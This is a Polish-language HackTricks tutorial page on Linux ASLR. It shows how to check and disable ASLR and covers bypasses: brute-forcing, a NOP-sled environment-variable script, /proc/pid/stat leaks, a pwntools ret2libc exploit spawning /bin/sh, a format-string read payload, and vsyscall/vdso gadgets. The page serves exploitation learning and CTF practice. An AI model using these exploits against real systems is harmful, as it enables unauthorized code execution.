# ASLR {{#include ../../../banners/hacktricks-training.md}} ## Podstawowe informacje **Randomizacja układu przestrzeni adresowej (ASLR)** to technika zabezpieczeń stosowana w systemach operacyjnych do **randomizacji adresów pamięci** używanych przez procesy systemowe i aplikacyjne. Dzięki temu znacznie trudniej jest atakującemu przewidzieć lokalizację konkretnych procesów i danych, takich jak stos, sterta i biblioteki, co łagodzi niektóre rodzaje exploitów, szczególnie przepełnienia bufora. ### **Sprawdzanie statusu ASLR** Aby **sprawdzić** status ASLR w systemie Linux, możesz odczytać wartość z pliku **`/proc/sys/kernel/randomize_va_space`**. Wartość przechowywana w tym pliku określa rodzaj stosowanej randomizacji ASLR: - **0**: Brak randomizacji. Wszystko jest statyczne. - **1**: Konserwatywna randomizacja. Wspólne biblioteki, stos, mmap(), strona VDSO są randomizowane. - **2**: Pełna randomizacja. Oprócz elementów randomizowanych przez konserwatywną randomizację, pamięć zarządzana przez `brk()` jest randomizowana. Możesz sprawdzić status ASLR za pomocą następującego polecenia: ```bash cat /proc/sys/kernel/randomize_va_space ``` ### **Wyłączanie ASLR** Aby **wyłączyć** ASLR, ustaw wartość `/proc/sys/kernel/randomize_va_space` na **0**. Wyłączanie ASLR zazwyczaj nie jest zalecane poza scenariuszami testowymi lub debugowania. Oto jak możesz to wyłączyć: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` Możesz również wyłączyć ASLR dla wykonania za pomocą: ```bash setarch `arch` -R ./bin args setarch `uname -m` -R ./bin args ``` ### **Włączanie ASLR** Aby **włączyć** ASLR, możesz zapisać wartość **2** w pliku `/proc/sys/kernel/randomize_va_space`. Zazwyczaj wymaga to uprawnień roota. Włączenie pełnej randomizacji można zrealizować za pomocą następującego polecenia: ```bash echo 2 | sudo tee /proc/sys/kernel/randomize_va_space ``` ### **Utrzymywanie zmian po ponownym uruchomieniu** Zmiany wprowadzone za pomocą poleceń `echo` są tymczasowe i zostaną zresetowane po ponownym uruchomieniu. Aby zmiana była trwała, musisz edytować plik `/etc/sysctl.conf` i dodać lub zmodyfikować następującą linię: ```tsconfig kernel.randomize_va_space=2 # Enable ASLR # or kernel.randomize_va_space=0 # Disable ASLR ``` Po edytowaniu `/etc/sysctl.conf`, zastosuj zmiany za pomocą: ```bash sudo sysctl -p ``` To zapewni, że ustawienia ASLR pozostaną zachowane po ponownych uruchomieniach. ## **Obejścia** ### 32-bitowe brute-forcing PaX dzieli przestrzeń adresową procesu na **3 grupy**: - **Kod i dane** (zainicjowane i niezainicjowane): `.text`, `.data` i `.bss` —> **16 bitów** entropii w zmiennej `delta_exec`. Ta zmienna jest losowo inicjowana z każdym procesem i dodawana do początkowych adresów. - **Pamięć** przydzielona przez `mmap()` i **biblioteki współdzielone** —> **16 bitów**, nazwane `delta_mmap`. - **Stos** —> **24 bity**, określane jako `delta_stack`. Jednak efektywnie wykorzystuje **11 bitów** (od 10. do 20. bajtu włącznie), wyrównane do **16 bajtów** —> To skutkuje **524,288 możliwymi rzeczywistymi adresami stosu**. Poprzednie dane dotyczą systemów 32-bitowych, a zmniejszona końcowa entropia umożliwia obejście ASLR poprzez wielokrotne próby wykonania, aż exploit zakończy się sukcesem. #### Pomysły na brute-force: - Jeśli masz wystarczająco duży overflow, aby pomieścić **duży NOP sled przed shellcode**, możesz po prostu brute-forcować adresy na stosie, aż przepływ **przeskoczy nad jakąś częścią NOP sled**. - Inną opcją w przypadku, gdy overflow nie jest tak duży, a exploit może być uruchomiony lokalnie, jest możliwość **dodania NOP sled i shellcode w zmiennej środowiskowej**. - Jeśli exploit jest lokalny, możesz spróbować brute-forcować adres bazowy libc (przydatne dla systemów 32-bitowych): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` - Jeśli atakujesz zdalny serwer, możesz spróbować **brute-forcować adres funkcji `usleep` z `libc`**, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie **serwer zajmuje dodatkowe 10s na odpowiedź**, znalazłeś adres tej funkcji. > [!TIP] > W systemach 64-bitowych entropia jest znacznie wyższa i to nie powinno być możliwe. ### Bruteforcing stosu 64-bitowego Możliwe jest zajęcie dużej części stosu zmiennymi środowiskowymi, a następnie próba wykorzystania binarnego setki/tysiące razy lokalnie, aby go wykorzystać.\ Poniższy kod pokazuje, jak można **po prostu wybrać adres na stosie** i co **kilkaset wykonania** ten adres będzie zawierał **instrukcję NOP**: ```c //clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie #include int main() { unsigned long long address = 0xffffff1e7e38; unsigned int* ptr = (unsigned int*)address; unsigned int value = *ptr; printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value); return 0; } ``` ```python import subprocess import traceback # Start the process nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops # Define the environment variables you want to set env_vars = { 'a': shellcode_env_var, 'b': shellcode_env_var, 'c': shellcode_env_var, 'd': shellcode_env_var, 'e': shellcode_env_var, 'f': shellcode_env_var, 'g': shellcode_env_var, 'h': shellcode_env_var, 'i': shellcode_env_var, 'j': shellcode_env_var, 'k': shellcode_env_var, 'l': shellcode_env_var, 'm': shellcode_env_var, 'n': shellcode_env_var, 'o': shellcode_env_var, 'p': shellcode_env_var, } cont = 0 while True: cont += 1 if cont % 10000 == 0: break print(cont, end="\r") # Define the path to your binary binary_path = './aslr-testing' try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if "0xd5" in str(output): print(str(cont) + " -> " + output) except Exception as e: print(e) print(traceback.format_exc()) pass ```
### Lokalne informacje (`/proc/[pid]/stat`) Plik **`/proc/[pid]/stat`** procesu jest zawsze czytelny dla wszystkich i **zawiera interesujące** informacje, takie jak: - **startcode** & **endcode**: Adresy powyżej i poniżej z **TEXT** binarnego - **startstack**: Adres początku **stosu** - **start_data** & **end_data**: Adresy powyżej i poniżej, gdzie znajduje się **BSS** - **kstkesp** & **kstkeip**: Aktualne adresy **ESP** i **EIP** - **arg_start** & **arg_end**: Adresy powyżej i poniżej, gdzie są **argumenty cli**. - **env_start** & **env_end**: Adresy powyżej i poniżej, gdzie są **zmienne środowiskowe**. Dlatego, jeśli atakujący znajduje się na tym samym komputerze co binarny program, który jest wykorzystywany, a ten program nie oczekuje przepełnienia z surowych argumentów, lecz z innego **wejścia, które można skonstruować po przeczytaniu tego pliku**. Możliwe jest, aby atakujący **uzyskał kilka adresów z tego pliku i skonstruował odchylenia na ich podstawie dla exploita**. > [!TIP] > Aby uzyskać więcej informacji na temat tego pliku, sprawdź [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) szukając `/proc/pid/stat` ### Posiadanie wycieku - **Wyzwanie polega na uzyskaniu wycieku** Jeśli otrzymasz wyciek (łatwe wyzwania CTF), możesz obliczyć odchylenia na jego podstawie (zakładając na przykład, że znasz dokładną wersję libc, która jest używana w systemie, który exploitujesz). Ten przykład exploita jest wyciągnięty z [**przykładu stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (sprawdź tę stronę po więcej szczegółów): ```python from pwn import * elf = context.binary = ELF('./vuln-32') libc = elf.libc p = process() p.recvuntil('at: ') system_leak = int(p.recvline(), 16) libc.address = system_leak - libc.sym['system'] log.success(f'LIBC base: {hex(libc.address)}') payload = flat( 'A' * 32, libc.sym['system'], 0x0, # return address next(libc.search(b'/bin/sh')) ) p.sendline(payload) p.interactive() ``` - **ret2plt** Wykorzystując przepełnienie bufora, możliwe byłoby wykorzystanie **ret2plt** do wyeksportowania adresu funkcji z libc. Sprawdź: {{#ref}} ret2plt.md {{#endref}} - **Format Strings Arbitrary Read** Podobnie jak w ret2plt, jeśli masz dowolne odczyty przez lukę w formatach ciągów, możliwe jest wyeksportowanie adresu **funkcji libc** z GOT. Następujący [**przykład pochodzi stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): ```python payload = p32(elf.got['puts']) # p64() if 64-bit payload += b'|' payload += b'%3$s' # The third parameter points at the start of the buffer # this part is only relevant if you need to call the main function again payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer payload += p32(elf.symbols['main']) ``` Możesz znaleźć więcej informacji na temat Format Strings arbitrary read w: {{#ref}} ../../format-strings/ {{#endref}} ### Ret2ret & Ret2pop Spróbuj obejść ASLR, wykorzystując adresy w stosie: {{#ref}} ret2ret.md {{#endref}} ### vsyscall Mechanizm **`vsyscall`** służy do zwiększenia wydajności, umożliwiając wykonywanie niektórych wywołań systemowych w przestrzeni użytkownika, chociaż zasadniczo są one częścią jądra. Krytyczną zaletą **vsyscalls** są ich **stałe adresy**, które nie podlegają **ASLR** (Randomizacja Układu Przestrzeni Adresowej). Ta stała natura oznacza, że atakujący nie potrzebują luki w informacji, aby określić ich adresy i wykorzystać je w exploicie.\ Jednak nie znajdziesz tutaj super interesujących gadżetów (chociaż na przykład możliwe jest uzyskanie odpowiednika `ret;`) (Następny przykład i kod są [**z tego opisu**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation)) Na przykład, atakujący może użyć adresu `0xffffffffff600800` w exploicie. Próba bezpośredniego skoku do instrukcji `ret` może prowadzić do niestabilności lub awarii po wykonaniu kilku gadżetów, skok do początku `syscall` dostarczonego przez sekcję **vsyscall** może okazać się skuteczny. Starannie umieszczając gadżet **ROP**, który prowadzi wykonanie do tego adresu **vsyscall**, atakujący może osiągnąć wykonanie kodu bez potrzeby omijania **ASLR** w tej części exploitu. ``` ef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ x.g
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g 
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
```
### vDSO

Zauważ, jak może być możliwe **obejście ASLR wykorzystując vdso**, jeśli jądro jest skompilowane z CONFIG_COMPAT_VDSO, ponieważ adres vdso nie będzie zrandomizowany. Aby uzyskać więcej informacji, sprawdź:

{{#ref}}
../../rop-return-oriented-programing/ret2vdso.md
{{#endref}}

{{#include ../../../banners/hacktricks-training.md}}